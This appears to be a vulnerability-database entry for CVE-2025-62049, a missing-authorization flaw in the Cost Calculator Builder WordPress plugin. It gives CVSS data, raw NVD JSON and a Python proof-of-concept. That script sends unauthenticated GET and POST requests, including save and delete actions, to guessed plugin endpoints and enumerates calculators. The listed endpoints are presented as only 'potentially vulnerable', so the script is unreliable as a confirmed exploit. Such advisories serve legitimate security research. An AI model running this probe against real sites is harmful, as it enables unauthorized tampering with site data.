Security Vulnerability Report
中文
CVE-2025-62049 CVSS 6.5 MEDIUM

CVE-2025-62049

Published: 2025-11-06 16:16:11
Last Modified: 2026-04-27 17:16:31

Description

Missing Authorization vulnerability in Stylemix Cost Calculator Builder cost-calculator-builder.This issue affects Cost Calculator Builder: from n/a through <= 3.5.32.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Cost Calculator Builder WordPress插件 <= 3.5.32

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62049 PoC - Missing Authorization in Cost Calculator Builder # Target: WordPress site with Cost Calculator Builder plugin <= 3.5.32 # This PoC demonstrates accessing protected endpoints without authentication import requests import json target_url = "http://target-wordpress-site.com" # List of potentially vulnerable endpoints endpoints = [ "/wp-json/ccb/v1/calculators", "/wp-json/ccb/v1/calculator/{id}", "/wp-admin/admin-ajax.php?action=ccb_get_calculator", "/wp-admin/admin-ajax.php?action=ccb_save_calculator", "/wp-admin/admin-ajax.php?action=ccb_delete_calculator" ] def test_unauthorized_access(): """Test if protected endpoints can be accessed without authentication""" print(f"[*] Testing CVE-2025-62049 - Missing Authorization in Cost Calculator Builder") print(f"[*] Target: {target_url}") print("-" * 60) for endpoint in endpoints: url = target_url + endpoint # Test GET request without authentication try: response = requests.get(url, timeout=10, verify=False) print(f"\n[TEST] GET {endpoint}") print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check if we got data without authorization if response.status_code == 200 and len(response.text) > 0: print(f" [!] VULNERABLE - Endpoint accessible without auth") try: data = response.json() print(f" Data preview: {str(data)[:200]}...") except: print(f" Response preview: {response.text[:200]}...") except requests.RequestException as e: print(f" [ERROR] {str(e)}") # Test POST request without authentication try: response = requests.post(url, json={"test": "data"}, timeout=10, verify=False) print(f"\n[TEST] POST {endpoint}") print(f" Status Code: {response.status_code}") if response.status_code in [200, 201]: print(f" [!] VULNERABLE - Write operation possible without auth") except requests.RequestException as e: print(f" [ERROR] {str(e)}") def enumerate_calculators(): """Attempt to enumerate and retrieve calculator data""" print("\n[*] Attempting to enumerate calculators...") # Try to get calculator list url = f"{target_url}/wp-json/ccb/v1/calculators" try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: calculators = response.json() print(f"[+] Found {len(calculators)} calculators:") for calc in calculators: print(f" - ID: {calc.get('id')}, Name: {calc.get('name')}") # Try to get full calculator data calc_id = calc.get('id') detail_url = f"{target_url}/wp-json/ccb/v1/calculator/{calc_id}" detail_response = requests.get(detail_url, timeout=10, verify=False) if detail_response.status_code == 200: print(f" [!] Calculator data accessible without auth") except Exception as e: print(f"[-] Enumeration failed: {str(e)}") if __name__ == "__main__": test_unauthorized_access() enumerate_calculators() print("\n[*] Scan complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62049", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:11.440", "lastModified": "2026-04-27T17:16:31.013", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Stylemix Cost Calculator Builder cost-calculator-builder.This issue affects Cost Calculator Builder: from n/a through <= 3.5.32."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cost-calculator-builder/vulnerability/wordpress-cost-calculator-builder-plugin-3-5-32-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}